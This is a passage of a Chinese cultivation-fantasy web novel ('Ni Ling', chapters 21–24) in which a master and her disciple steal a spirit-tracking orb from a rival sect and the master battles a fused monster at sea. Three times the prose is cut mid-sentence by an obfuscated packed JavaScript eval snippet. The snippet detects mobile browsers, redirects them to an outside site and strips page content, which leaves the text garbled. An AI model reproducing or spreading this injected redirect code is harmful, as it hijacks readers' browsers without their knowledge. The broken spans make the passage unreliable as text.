“什么抢劫,说得那么难听。你看,那上仙宫独掌天下灵气动向,发现宝地就捷足先登,而其他修士只能在游历之中慢慢寻觅,自然和他们差距越来越大。这用我老家的话说叫‘垄断’,就好比大户人家把水渠闸住,优先给自家的田灌水,不给其他小民使用。我们现在是要打破垄断,分明就是义举。” 徽文听得连连点头:“师尊,没想到你还这么会修辞。” “什么修辞?” “呃,就是把事物换一种说法,意思就完全不同了。二师姨有门课就教我们这个。” “我们老家管这个叫话术,这还需要学?”吴迪莫名其妙,搞不懂风遥这种文化人的讲究,“行了行了,你就说,有没有信心完成这次实习?” “有!” —— 师徒二人御剑飞上灵涯山脉。夜已深沉,巨大的圆月从主峰后升起,照得山川像要轻盈浮起。 吴迪落在一块岩石上,问:“你化形术练得怎么样了?” “挺、挺好了。师尊,我们是要化成动物潜入上仙宫么?” “对,你觉得变个什么好?” “小虫子吧?夜蛾之类的,比较隐蔽。” “错,虫子要么视觉极差要么听不见人类的说话声,我们又不是去和蝙蝠作战,变个腿上长毛专听蝙蝠声音的蛾子有何用?” “那、那还是变师尊最擅长的游隼吧,这个耳聪目明……” “游隼虽然晚上能看见,但视力会大打折扣。你啊,除了打打杀杀,其他杂七杂八的东西也该多了解点——瞧着!” 吴迪默念心诀,化为一只灰褐色的猫头鹰。她张开翅膀,拨开月光,飞上了修真界与凡界的界碑。 徽文仰视着她在月光下的剪影,赞叹道:“雌枭!夜晚最完美的猎手,我怎么没想到!” 转眼间,一只略小的白色雌枭也立在了界碑上,毛茸茸圆滚滚,一看就还带着几分稚气。 吴迪说:“不错,就是这个色有点太显眼。” 白毛团子站着不动。 吴迪一眼看穿她还掌握不了毛色,心想这就是你跟我说的练得“挺好了”?她笑了一声,也没再多说什么,振翅飞起。 白毛团子扑棱棱跟在后面,一边费力地跟上,嘴里还说个不停:“师尊,无论是鹰隼还是枭,都是雌性更大更凶猛,但人们从来只说‘雄鹰’、‘枭雄’,这也是一个修辞,不,话术吧?” “那当然了。” “好讨厌,我不喜欢。” “这就不喜欢了?还有更恶劣的呢。”吴迪语带戏谑,“待会儿到了上仙宫,要是听到什么难听的话术,你可千万淡定,别气炸了。” 小白绒团想要点头,但结果是脑袋不由自主地转了180度,差点翻车。她不敢再分心,跟紧大枭,努力向高高在上的修真界飞去。 不一时,雌枭飞到了上仙宫所在的扶南山。 上仙宫占据了整座山,楼台错落,灯火辉煌,端的是气势恢宏。两只枭飞到山顶,停在高墙下的一棵大柏树上,观察四周。 左边是祭祀祖师的香火庙,前方是供奉真神的金殿,巍峨森严。两旁树木只有整齐的松柏,砖缝中没有一根杂草。与之相比,娏天宗所在的火林山完全是田园郊野,再加上姜舜华的那些宠物,堪比野生动物乐园。 不过,华丽是华丽了,身处这样的环境,总有一种说不出的压抑和不自在,好像大声说话都是一种罪过。 两个巡夜的外门男弟子拎着灯笼走过,就只敢压着声音,窃窃私语。但枭听觉敏锐,还是足以听清。 “……听说现在就那帮女人还在打?” “打?也就做做样子吧。我们战斗的时候牺牲了多少师兄弟,连崇光仙尊都壮烈捐躯,她们做了什么?” “对哦,那些小丫头片子哪知道战斗的残酷,多半还以为是去唱戏呢。” “哈哈,倒也不是小丫头片子,一堆老太婆差不多……” 金徽文低声问:“师尊,他们说谁呢?” “说我们啊。” 果然,两个男的用无比鄙夷的语气说出了“娏天宗”三个字。小白绒团子顿时气得炸毛,膨胀了一圈,怒道:“他、他们怎么如此——” 如此颠倒黑白?如此倒反天罡?她竟然找不出一个合适的词语来形容。 崇光仙尊的确在与魔物的战斗中死了,不能把他算在“黑”的一方; 上仙宫确实死了很多师兄弟,站在道德高地上也不是“倒反”; 可是,完整的事实是,丁州之战,上仙宫误判局势,崇光仙尊轻敌冒进,才导致损失惨重;而娏天宗稳中求进,智勇双全,所以几乎平定了整个仁州,也不曾损失一人。而且,在那场恶战中牺牲的上仙宫弟子,也有很多师姐妹,但也才过去半年,她们的存在就隐没在了“师兄弟”这个常用词之后。 而娏天宗和上仙宫能力的高低,也无人在意。损失更大,反倒成为上仙宫更加英勇的证据。 “哎呀,还是气炸了。”吴迪轻声一笑,“走吧走吧,别跟蠢货赌气,耽误了正事。” 她无声地飞起来,悄悄跟在两人身后。 金徽文跟上:“师尊,我想起来了,这个像你教我的说谎技巧。” “诶诶,你怎么还记得这个啊。快忘掉,赶紧忘掉,我当年只是随口一说,不要有损我正派的形象啊。” “……我只是觉得好玩而已啦。其实师尊,我在宗门根本用不着说谎,所以我从来没用过这些招数。” “这就好,不要像有些人一样成天使用啊。你看,他们根本不用人教对吧,人家就是不学而能,浑然天成。” 徽文叹道:“哎,以前学了一整本修辞的书,也没看过这样鲜活的例子。” “所以说还是实习好呀,你回去讲给你二师姨听听吧。哦,话说幸好今天不是你大师姨来,不然……” 不然就要发生血案了。毕竟姜舜华的三大准则之三,就是“侮辱师门的人绝不饶恕”。 两个小厮说完娏天宗都是又土又穷嫁不出去的丑女,又开始品评上仙宫新近来了哪些白富美。当给她们全部打了一遍分,他们终于把各处都巡视遍了,最后走到一座高塔之下。 这塔像是一整块巨石雕成,又大又高,一个窗户也没,一丝缝隙也无,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033110|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去诡异得紧。 “王师兄,这望气塔就不上去了吧,反正最近长老们都没来用过,应该没啥事。” “这可不行。你以为偷懒被发现是小事啊?上次李九就是天梯那里有盏长明灯灭了忘了点上,该他的筑基丹都给别人了呢!我们现在可是上升的关键时期,要好好表现才是……” 徽文不屑道:“筑基丹?一个筑基丹也要费心争取,他们上仙宫才是又土又穷吧?” 吴迪笑而不语:孩子,刚才那些金碧辉煌的楼台是完全没入你的眼啊! 上仙宫有的是资源,只是轮不到这些底层弟子享用——不,其实他们自己本身也是一种资源,哪有资源享用资源的。 却见那王师兄掏出一枚青铜令牌,掌心对准上面的兽面纹,顿时青光四射,看上去天衣无缝的石塔竟出现一道暗门,隐隐现出通往幽暗深处的阶梯。 这就是安放天球的地方了。据姚希夷说,其实天球原理并没什么神奇,她也会造。关键是造价贼高,上仙宫这个据说斥资百亿灵石,绝非普通宗门负担得起。 不过姚希夷也说了,这百亿里面九十五亿都是水分,让她来造,五亿就够了。 吴迪则更进一步,打算帮她立省五亿。 阶梯两旁,卧着两只鹿角狼头的灵兽,见有人来,顿时弓腰露齿,眼冒绿光,那模样一看就不好惹。俩小厮害怕它们,战战兢兢地走上前,先出示令牌,然后开始叽里咕噜地念咒。 吴迪凑到小毛团身边:“现在分配任务。待会我让他俩凝滞三息,我们就趁这个时机飞进去。然后你帮我望风,我来搬走天球。最后你炸开这座塔,炸个洞就行,我们撤退。” “好。”徽文激动得毛都微微发颤了。这实习,倒是别有一番趣味,比起之前打线头怪又是不同。 那边厢,俩小厮终于念完冗长的咒,让灵兽让开了道,伏在一边,沉沉睡去。就在此刻,吴迪使出最轻的“烛龙衔晷”,两人两兽的动作顿时静止,而她和徽文转瞬飞进入口,无影无踪。 三息之后,俩小厮恢复了动作,一个摸摸脸,道:“怎么有股热风?”另一个晃晃脑袋:“刚才好像有点发晕。”两人都没多想,关闭入口,走进塔内。 塔里从来不见天日,甚是幽凉。沿着阶梯上升约两层高度,眼前赫然出现一个巨大的空间,空空荡荡,高不见顶。 从看不见的塔尖垂下一根长长的线,末端挂着个直径约十米的大金属球,像单摆一样在缓缓振动,循环往复。那球不知道是什么金属,表面泛着一层幽蓝的光,仔细一看,它其实并不光滑,是由很多很多面组成的正N面体,只是因为面太多,所以视觉上接近于球形。 整个塔里只有这个东西,而唯一的光源是正下方的一盏小小灵灯。微弱的光线,桶状的高墙,望不到头的高处,晃来晃去、忽大忽小的阴影,就像一个怪诞的梦境。 “啊……”金徽文看得呆了,“这、这可怎么搬走啊?” 两只枭抓着长线,藏身于灵灯照不到的高处,随着单摆荡秋千。等两个巡夜弟子简单巡视一圈,看了看灵灯中的油还够不够,完成打卡走人了,她们才双双飞下,悠然落地。 吴迪变回人形。金属球上倒映着她的身躯,在光影之中变幻莫测,光怪陆离。 忽然,球体金属微光一闪,随即,淡淡的白光从内部透出,很快蔓延到整个球体。 姚希夷说了,每个时辰,装置都会自动启动一次,只是这时辰与天地灵气运行规律相关,每天每时都不同。这虽然复杂,却难不倒姚希夷,她早就推出了详细的时刻表。 而现在,正是表上标明的时刻。 刚才那两个外门弟子,但凡多待一会儿,也能看到灵气图了。但他们一定有门规限制,两人互相监视,没人敢逗留。 三界八洲,海洋山川,轮廓一一显现;而盘踞其上的是流动的云团和气旋,如轻纱一样舞动变幻。 看惯了天气预报卫星云图的吴迪倒不觉得有什么,一旁的金徽文却已看得入迷,连化形都没化干净,一个大姑娘站在那里,脑袋上却还顶着三根白色羽毛。 吴迪哑然失笑,帮她把头上的羽毛拂落,说:“发什么愣呢。” “这个、这个好好看啊……师尊你看,这是不是我们炎洲?” “哎哟,好不好看的都不重要,上面这些白色的东西才是重点,这就是灵气分布啊。瞧,炎洲这会儿灵气不多,南边海上倒有个大气旋。” “啊,这也太厉害了,有了这个,那就是……” “用我老家的话来说叫‘开挂’,现在知道那帮老头吃得有多好了吧。好了好了,搬回去给你看个够,先赶紧去望风了,别让楼下那两个灵兽醒来。” “是。”金徽文边走还边回头看了天球几眼,恋恋不舍。 她怀里带着各种符和丹,足够帮灵兽保持深度睡眠,好好休息一会儿了。 22. 《逆灵》22 待徽文离开,吴迪等金属大球再次荡到最低点,猛地举掌拍去。 她可不管这价值百亿灵石的精密仪器坏了会怎么样,只是大力出奇迹,向球中注入一股汹涌的灵力——逆灵之力。 球体大震,上面的图像一片混乱,变成了雪花马赛克。 但片刻的黯淡后,它就重新大亮,依然是那三界八洲之图,只不过所有云层变成了墨色! 果然,上仙宫老 | 登们虽然贪墨了95%的经费,最后造出来的东西质量还是可以的,经得起折腾。 和淡薄的白气不同,墨气无比丰足,如笔洗里氤氲的墨汁,把整个天球变成了一幅立体水墨画。细看之下,吴迪很快发现,这些墨迹都在向着一个方向流动,如百川归海,又如所有光线坠入黑洞…… 归墟。她想起在短视频刷到过的神话传说,那好像是说,全世界所有的水最后会流向一个终点,它没有底,无限下坠,无穷无尽。 逆灵正在流向这样的归墟。毫无疑问,因为那里有极强的吸力。 是谁在疯狂吸纳逆灵?是谁有这样的能力?吴迪心中自有答案,但她此刻不想说出,因为她感到深深的疲惫与恶心。 没错,疲惫与恶心,就像三十年前第一次感知到那个人的存在时一样。萦绕不去的晕车感,胃里像放着块大石头。 但当他离开她的躯体,不再依赖她的哺育,她就不能再感知他的存在了。最近她也尝试过用种种方式去感知,但不出意料,系统地图没用,神识没用,千里相思镜没用,四处打探也没用。她一度以为这血脉相连的感应已经彻底消失,直到现在—— 现在,她又感觉到他的存在了。 但上一次有这种感觉时,她是在给予他生命;而这一次,她要…… 她拔出“饶命”。 剑光过处,悬挂天球的金属长线直直断开,天球凭借惯性又摆动了几寸,骤然下坠。 高塔一阵颤动,抖落细微石粉。 吴迪旋动坤乾白玉戒指,试图将天球整个吞入。 这戒指虽然带有很大空间,但空间能承受的质量是有限的。沉重的球体进入,空间开始不稳,出现了一些扭曲,亏得吴迪以强大灵力支撑,才使其不至坍塌。 但她的两鬓已渗出细密汗珠。这种粗暴生吞法,实在太费力,她不能再分神去做别的。 “徽文,上来了!”她唤道。 金徽文跑上来,被眼前的一幕惊呆了。她还以为师尊说拿走天球,会用上什么巧妙法子呢,没想到就是凭体力硬搬啊! 吴迪已经将球吞了四分之三,眼看马上就要全部收入囊中。她沉声吩咐:“还记得最后一步么?炸了这个塔。” “记得记得!”金徽文是什么人,最喜欢干的就是这些快刀斩乱麻的事,当即眼睛发亮,开始蓄力,“早知道来的时候我们也不用偷偷地嘛,直接杀进来……” “少废话了,给我专心爆破啊!” 不知有多少吨的天球终于被整个儿装进戒指,坤乾空间猛地一坠,像装了重物的塑料袋差点扯破。与此同时,头顶轰然作响,高塔被一朵烈火红莲炸出一个大洞! 霎时间,碎石乱落,地面剧震。原本看似密不透风坚不可摧的塔,竟只需内部的一击,就开始以惊人的速度坍塌。 楼下响起灵兽的嚎叫,远处飘来人们的惊呼。吴迪拉住徽文的手,向上一跃,一边飞行,一边带她飞速化形。 粉尘与黑烟中,飞出一灰一白、一大一小两只雌枭,大的那只,脚爪上戴着一只沉甸甸的白玉戒指。 她们冲出烟雾,冲出箭雨,冲出天罗地网般的结界,飞进了无垠的夜空。 “抓贼啊!抓贼!”愤怒而惊惶的呼喊被远远甩在身后,取而代之的是小白绒团难听的猫头鹰笑声。 “哈哈,哈哈,来抓呀,抓不到~~~” “怎么抓不到?”大雌枭却迎面泼来一盆冷水,“上仙宫虽是草台班子,但对于自己的利益可是敏感至极分寸不让,他们只要使出全力,过不了多久,一定会查出是我们干的。” “啊?”小白绒团差点从空中掉下去,“那、那怎么办?” 吴迪轻笑:“你怕了?” “不!谁、谁怕啊?……等他们找上门来,我们的修为早就是他们望尘莫及的了,到时候,看他们敢不敢和我们比试!” “那你可得抓紧修炼咯,五个仙尊,十七个长老,可不是好对付的啊。” 她回望扶南山顶,只见那里乱成一团。倒塌的天塔砸坏了旁边一座房屋,里面储存灵气的白玉瓶碎了一地,灵气四处飘逸,急得长老们各自使出法器来网罗。 早知道那排房子是放灵气瓶的仓库,就全给他们炸了,让灵气重归天地,为所有生灵所用。 ——算了,这次先这样,就留点工作给后人做吧。 她想着,用力一挥翅膀。 “哇,师尊,等等我,你飞得好高!” “你加把劲,以后要比我飞得更高!” 说笑之中,猛禽的羽翼掠过界碑,从修真界回到凡界。圆月已经西斜,群山落下长长的影子,在月光与黑暗的交界处,是荒无人烟的丁州边陲。 俯瞰着幽冥一般的废墟,吴迪想起自己之前忙里偷闲去走访过的那些地方。 最早被魔物毁灭的春草镇,残存的屋檐下还挂着精致的小风铃,在秋风中叮当作响。倒塌的门框前,无人浇灌的花盆只剩干土,但不难想象当初满园鲜花盛开的美丽; 第二个遭难的明秀村,余下三姐妹死里逃生。她们宁愿躲在自家的地窖里,也不肯离开家乡,因为她们舍不得抛下这片有姥姥坟茔、承载了快乐童年的土地,仍在等待重建村子的一天; 第三个是雪城,贯通南北的青石大道纵然已被瓦砾掩埋,但仍能想见当初的整洁开阔。这里是那样文雅,连沟渠上的每块砖石都刻了美丽的图案,是不同形状的雪花片,旁边刻着捐赠者的姓名,多是某娘、某姐、某姬…… 走访得越多,吴迪越来越明白了魔物挑选城镇的逻辑。 金云飞说,魔物会优先破坏百姓富足、环境优美的地方,她认为这说明它们“恨人”; 但吴迪的猜测更进一步了:这些百姓富足、环境优美的地方,其实是因为有更多女人生活才较为美好。魔物是追随着女人的气息而来,或者说,它们最恨的是“女”。 这种恨,存在于魔血带来的绿雾幻境中,存在于棋盘镇胖男孩的眼神中,存在于田跌那堆崩塌的烂肉中……女人们理解不了它,描述不了它,而高高在上的男修则压根不承认它是恨,为它找出种种可笑的理由。 然而不论怎么否认,恨意就在那里。而且,等女多的城镇都被毁灭,魔物也就饥不择食,会开始毁灭艾蝻县这样的女少男多之地。到最后,只怕全天下都会像丁州这样,化为焦土,方才消停。 “师尊啊,你说上仙宫独占这么多灵气,怎么还当缩头乌龟,打魔物一战失利就不肯再出来了,真是废物!” 徽文的声音把她带回现实。吴迪看看下方不知名的荒村,笑了笑:“等你有了很多很多灵气,你准备干什么?” “当然是杀尽魔物,保护百姓了!” “作战你没问题了,但你现在能分清楚谁值得保护么?想想棋盘镇的事呢?” “呃,我……” “接下来你就保护好你娘和妹妹。打扫魔物的事情,还是先交给我吧。” “啊?师尊,你怎么——你不带我实习了?” “不是,你先跟着师祖师姨去追寻灵气、提升灵力。我呢,又不需要灵气,随处可用逆灵,所以我可以再在凡界巡视一段时间,再来与你们会面。” “可是、可是——你要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033111|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟我们分开吗?” 吴迪用翅膀拍拍她毛绒绒的脑袋:“我想再为宗门做点事情。” —— “我想再为宗门做点事情。” 当吴迪说出这句话,正激动围观天球的师姐、师姪们都一齐看向了她。 姜舜华道:“你还有什么壮志啊?把上仙宫拆了?” 姚希夷大喜:“我、我正在想呢,本天才虽然不用建那么傻的塔,但天、天球总需要有人一路扛着吧,你力气大,能帮忙真是太好——” 风遥赶紧打断她,拉住吴迪的手:“老七,你也不要太拼了。好久没回火林山了,回去休息休息,看看老家呗?” 卫婵笑道:“你的屋子我们都给你原封不动地留着呢,大师姐每次回山都去看……” “喂,谁去看了,只是去找东西好吗!”姜舜华连忙否认,“咳咳,快说你要给我们做什么,看看我感不感兴趣。” 吴迪讲了自己想留在凡界巡视四方、保护百姓的想法。毕竟凡界年关将至,魔物又喜好破坏人的幸福,若它们趁幸存的百姓们团聚之时卷土重来,那可就糟了。虽然楚泽方早就考虑到这层,留下许多灵符、结界和傀儡保护城镇,但留个人在凡界就近应对,总是更稳妥些。 “而且……快过年了,我也该去看看我的孩儿。”她语气略带惭愧。 此言一出,大家倒无话可说。庄南华开玩笑道:“好啊,要不要我们给他包点压岁钱啊。” 大家都笑,只有金徽文难掩伤心。吴迪走到她面前,温言道:“我倒是有压岁钱给你,放在你师祖那里了,大年夜记得去领哦。” 众弟子羡慕极了,纷纷看向自己的师尊。娏天宗以前从不过凡界节日,但今年经历了这么多大战,大家都想热闹热闹呀! 庄南华笑道:“好,好,都给。大家今年都辛苦了,给点红包应该的!” “五师姐,我也要!我也是小孩嘛!”卫婵凑过来。 “去去去,有你这样的吗,三百多岁的宝宝是吧,也不怕小辈们笑话!” 欢快的氛围中,金徽文没那么伤感了,渐渐跟大家说笑起来。吴迪看着这一幕,心中涌现许多温暖的回忆,也站在一旁,露出了微笑。 正在想事,有人轻轻握住了她的手。 是青鸾仙姥。她本来在洞中修炼,不知何时也来了。 吴迪已跟她讲过自己要留下的事,师尊没有反对。这会儿,她也没多说什么,只是把一个东西塞进吴迪掌心。 吴迪一看,是一枚凤凰状的五彩琉璃。 这是仙姥随身法器,虽然没人知道是用来干什么的,但她从不离身,显然十分宝贵。吴迪大惊,连忙推谢:“师尊,你这是……” “拿着。这个呢,其实也没啥神奇,就是能短时间增强爆发力,无论使用什么法术,都能强化百倍。” 啊?这还不叫神奇?顶尖高手就是这样云淡风轻的吗?以前听说过的最强的增强法器,也只能强化十倍,而且往往只能作用于特定法术。这个竟能百倍,还不限法术——吴迪只不过想象了一下《婋奾宝典》中的暴烈功法强化百倍的样子,都忘记了继续推辞。 “但只能用一次哦。” “那师尊你怎么没用掉?” “我从没遇到过要用的情况啊。” 吴迪只能傻傻陪笑了。厉害,真是厉害,如何一句话表现“我打遍天下无敌手”,今天是学到了。 仙姥又说:“现在我只差一阶就修到终极,飞升不远,也用不着它了。给你吧,记住,不要浪费,但真到了危急时刻,果断就用。” 老者眼中,是绝对的信任。吴迪低下头,不再推辞了。 她双手捧住那枚琉璃,说:“谢谢师尊,你多珍重。” 琉璃折射出五彩光芒,扰乱了天地纯白。风雪中,那只彩凤在掌心翩然若飞。 23. 《逆灵》23 飞行。她穿过风雪,穿过青山,飞入了温润的海风里。 而在另一个方向,娏天宗众人拖着天球,越过界碑,一路向西,追寻灵气。 她们在天地间留下两道相逆的轨迹。 吴迪悄然落地。她并未留守仁州,也并未巡视四方,而是等宗门一走,就去了另一个地方。 南州海滨。 眼前是长满尖锐藤壶的礁石,海浪一簇簇涌来,溅起三尺白沫。四下荒无人烟,只有海鸟鸣叫,越嘈杂,越苍茫。 这正是天球上逆灵流动的终点,那像归墟一样的地方。 她看着幽深不见底的海水。肉眼所见,是墨蓝的漩流;而神识所感,却是天下最震撼的景象:浓郁得令人窒息的逆灵正源源不断地向下坠落,白色、翠色、蓝色、紫色、棕色的光团,如光电的雨幕,又如群星的瀑布,遮天蔽日,模糊了上下左右的空间。 她不再多看,拔出“饶命”,划过自己的左手指尖。 鲜血滴入大海,瞬间消融无痕。 逆灵暴雨仍在下着,源源不绝。 她只是耐心等待。 忽然,一阵窸窸窣窣的细响传来。那是礁石下的小螃蟹,它们成群出现,向着陆地的方向飞速爬行,像是在逃命一般。 紧接着,脚下的礁石微微一震。 然后就是剧烈的震颤了。霎时间海鸟惊飞,鱼群乱跳,而海水飞速流动起来,渐渐形成一个方圆一里的漩涡,如一只巨眼仰视着天空。 狂风呼啸,逃命的螃蟹群被风席卷而去。而吴迪岿然不动,执剑望着海中巨眼,和它直直对视。 终于,一声沉闷的嘶吼从漩涡底部传来,声音之响,撼人心魂。 “我们……压抑……我们……苦……” 那是无数个男人的合唱,充满绝望,充满愤怒。 —— “哈哈,好痛快啊!” 金徽文舒展肢体,结束静坐。这是一个灵气极度充沛的山谷,仅仅是引气一日,她就感到脱胎换骨,修为直接跳了两阶。 在天球的指引下,她们一边向火林山行进,一边沿途追寻灵气,走走停停,已经享用了好几个丰足宝地。 金徽仪说,这个很像牧场。而姥姥、姨姨、姐姐们,就像吃草的马儿。这个比方把大家都逗乐了,从此以后,她们都开始用“灵气牧场”来指代这样的宝地。 而今天这个牧场,是灵气最浓厚、最纯粹的。 抬眼看去,大家身边都赤气萦绕,连饺子也长大一圈,“嗷呜”一声,长啸回响。 众人纷纷睁眼,一声声的“我突破了”“我也是”,像一连串惊喜的火花,很快点燃了整个山谷。 唯有姚希夷仍痴迷地抱着天球看来看去,可能还在思索如何将它进一步改造优化。 青鸾仙姥也还在一块岩石上闭目打坐,那根她从不离手的铜杖横在膝前,上面隐隐然有金光浮动。 —— “你们苦个屁啊,不就是吸不到老娘的血吗?”吴迪剑指漩涡,一阵冷笑。 那里浮出个足以让小成本cult片经费爆炸的怪物——至少百万条线虫纠缠在一起,毫无规律地胡乱蠕动,肉色虫身上的环节状纹路清晰可见。而虫体顶部一如既往地连接着男人头颅,密密麻麻,个个泡得发白肿胀,许多已经开始溃破,黏液把海水都变得浓稠。 “我们……压抑……我们……苦……” 它们只会重复这句话,显然还没发育成熟。 是的,那个人把它们藏在海底,是还想再融合发育一段时间。到那时,全天下的线虫怪将全部合并在一起,成为空前绝后史无前例的巨大怪物,所过之处,何人能挡,何坚不摧? 可惜,它们抵挡不住吴迪鲜血的诱惑,提前发动了。 吴迪使出“熔海吞山”,刹那间烟炎灼天,海水皆赤,最靠前的一部分线头怪顿时汽化,连灰烬都没有留下。其余的虫已经和它们紧密相连,痛觉迅速传遍整个融合体,凄厉的惨叫取代了怨愤吟唱,原本乱麻一般的虫团忽然齐整,同时向她发动攻击! 吴迪又挥手烧死一大片线头怪,头发在灼热的狂风中狂乱飞舞。 “田厉,给我滚出来!” —— “吴迪,给我滚出来!” 一声怒喝打断了女人们的欢庆。 金徽文抬头,只见山谷上方的云雾里,立着个苍髯老头,他背一把长琴,衣衫如流云飘飘,端的是仙风道骨。 他身后还跟着三个男弟子。这三人道行显然就不够了,表情或轻蔑或暴戾,一看就是来挑事儿的。 女人们杀惯了魔物,对这几个人形的不速之客倒没什么感觉。连凡人小孩金徽仪都没有躲避——她现在可是把魔核当玩具玩的,会怕飘在云上的老头? 见师尊还在入定,并无起身待客之意,姜舜华阔步走到最前方,向来人拱手道:“不知上仙宫玄英仙尊,到此有何贵干?” 金徽文不由得一惊:上仙宫的人还真找上门来了,这么快啊? 师尊说他们一定会找上门来,还真没错……她心虚地看看天球,却见姚希夷浑然不觉,还在那儿观赏。 玄英仙尊一行人不是瞎子,当然也看到硕大的天球就被这群女人随意放在驴车上,风吹日晒,像回收的废品一样。个子最高的男弟子勃然大怒,当即要飞下来夺回,却被玄英仙尊止住了。 玄英仙尊轻捋白须,声震山谷:“有何贵干?灵晖真君何必明知故问!娏天吴迪,不仅盗我天球,毁我天塔,还虐杀夫君,修习邪术,屠戮百姓,当真是罪恶滔天,罄竹难书。你们还不速速交还天球,交出罪人!” 这一连串的罪名把金徽文听蒙了——天球天塔的事她知道,田跌的事不是谣传吗?怎么还传成虐杀了?修习邪术是什么?屠戮百姓又是什么? 她忍不住叫道:“你不要血口喷人!” 玄英仙尊瞥瞥她,并不理会,只是从空中掷下一个卷轴。 姜舜华接住,拆开看去,顿时神色一变。 —— “金乌裂穹!”吴迪第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033112|194567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使出了《婋奾宝典》的第八层功法。一轮烈日极速从海平面下升起,悬于空中,喷吐出万丈烈焰,日光所照之处,带来的不是温暖,而是万物焚灭,海水沸腾。 这轮古怪的太阳,其实只是幻象。火焰仍然靠的是吴迪的灵力在支撑。这个威力强劲的法术实在太耗灵力,换了修为和心力稍弱之人来施法,都会经脉寸断。就连吴迪这样的强者,支持一刻钟以后,也感到精力不济。 她发丝化为火焰,双目如熔金,得以在铺天盖地的火海中毫发无损。而那些线头怪就惨了,惨叫声激起千丈浪花,没烧透的头盖骨和断尾漂在海面上,把大海变成一锅肉汤,沸反不绝。 一股绿色魔血喷来,吴迪侧身避开,但精疲力竭之际无法做到完美防御,脸颊上还是沾上一滴。这魔血纯度极高,刺骨冰凉的恨意猛然袭来,她立即护住神识心脉,避免了幻境侵袭,但这一分神,法术便戛然而止,金乌坠落,烈火熄灭。 她尝试再次运功,却发现灵力已不足。只能先稍作休息,就地取材,汲取一点逆灵了。 不过,她的“休息”,可并非躺在那里不动。 她持剑踏入滚烫的海水,一步步向残缺的怪物走去。 它只是重伤,还远远没有死亡。百万个人是什么概念,吴迪所在的现代社会,全国火葬场火力开满,也没那么快烧完。现在,线虫团只是被烧出几个大洞,但立马有其他线虫过来补上缺口,试图保护内层。 显然,内层有什么重要的东西。这不是一个无差别的融合体,而是已经分化出了等级。 吴迪一边默念引气诀,吸纳逆灵,一边挥剑砍断一个死人头。“饶命”是娃娃鱼的魔血浸染而成,却显然和线头怪的魔血相斥,蓝色剑气和绿色腥血交汇之处,会产生一层薄薄的光膜,将魔物恨意的力量暂时抵挡在外,给吴迪以闪避之机。 “哎呀呀,我这个大人竟然被娃娃给保护了。”吴迪对剑而笑,“好吧,那大人就厚脸皮一次,冲啊,娃娃鱼!” 剑光过处,死人头纷纷飞了出去。吴迪杀得怪物的缺口无法补上,就这样杀进内层,进入了肉色虫体的森林。 水桶粗的虫子交错纵横,滑来滑去,像一张密不透风的网。其实脚下踩着的也是这玩意。吴迪只能不去多想,不去多看,做个无情的伐木工,边走边斩,开出一条血路。 忽然,半截冒着绿液的虫身甩了过来,齐整的横截面上露出弯弯绕绕的空腔,看一眼就san值狂掉。吴迪扭头不看,尽量和它拉开距离。不料,左边又袭来个什么东西,咔嚓一声,险些将她咬住! 定睛一看,那是一个死灰的人头,眼睛圆睁,腐败的眼白浓浆四溢。它牙龈和嘴唇早已萎缩,黄黄的牙齿暴露在外,被它咬一口,只怕也够呛的。 吴迪一刀给它个了断。人头不知滚到哪里去了,只听得一片嘎吱嘎吱的咀嚼声,想来是被下层的兄弟们当了补剂。 不知在这极度邪典的世界走了多久,她终于感应到一丝异变。 前方有一个灵力很强的核心。 24. 《逆灵》24 是田厉吗? 吴迪握紧剑柄,步步靠近。 他变成了什么样子?人头虫身?一团烂肉?丧尸骷髅?吴迪脑子里走马灯似地过了一遍恐怖片怪物片中的经典形象,最终看到的,却只是一面光滑的肉墙。 还是跟虫体一样的质感,只不过从交缠的网络变成了彻底的融合体。这面墙宽广无垠,一张一缩,弹性十足,吴迪突然觉得,自己闯入的是一只巨兽的心脏,触到的是它坚韧的心肌。 她可不管那么多,直接给这颗心脏来了个小手术。利剑刺入肉墙,像撬罐头那样开个洞,顿时地动山摇,绿血泛滥,将外面被砍断的虫子碎片冲得无影无踪,也把她整个淹没! 亏得她一路杀来,灵力已恢复八成,当下使出“流火覆体”,薄焰贴身流转,隔开魔血,俯身一潜,从开出的洞中穿过。 里面是一个巨大的空间,此刻如泄了气的气球一般,坍缩了一半。可以想见,之前这里充盈着多少魔血,哪怕现在流出不少,但仍残余了半人高的深度,整个腔室还在顽强地收缩、舒张。 天旋地转,一片昏黑。按理说,吴迪身上的流火是带着淡紫的红,照不亮绿色的血池,但此刻,却另有一道淡淡的绿光,让她敏锐的眼睛足以看清景象。 绿光,是由腔室中心的东西发出的。 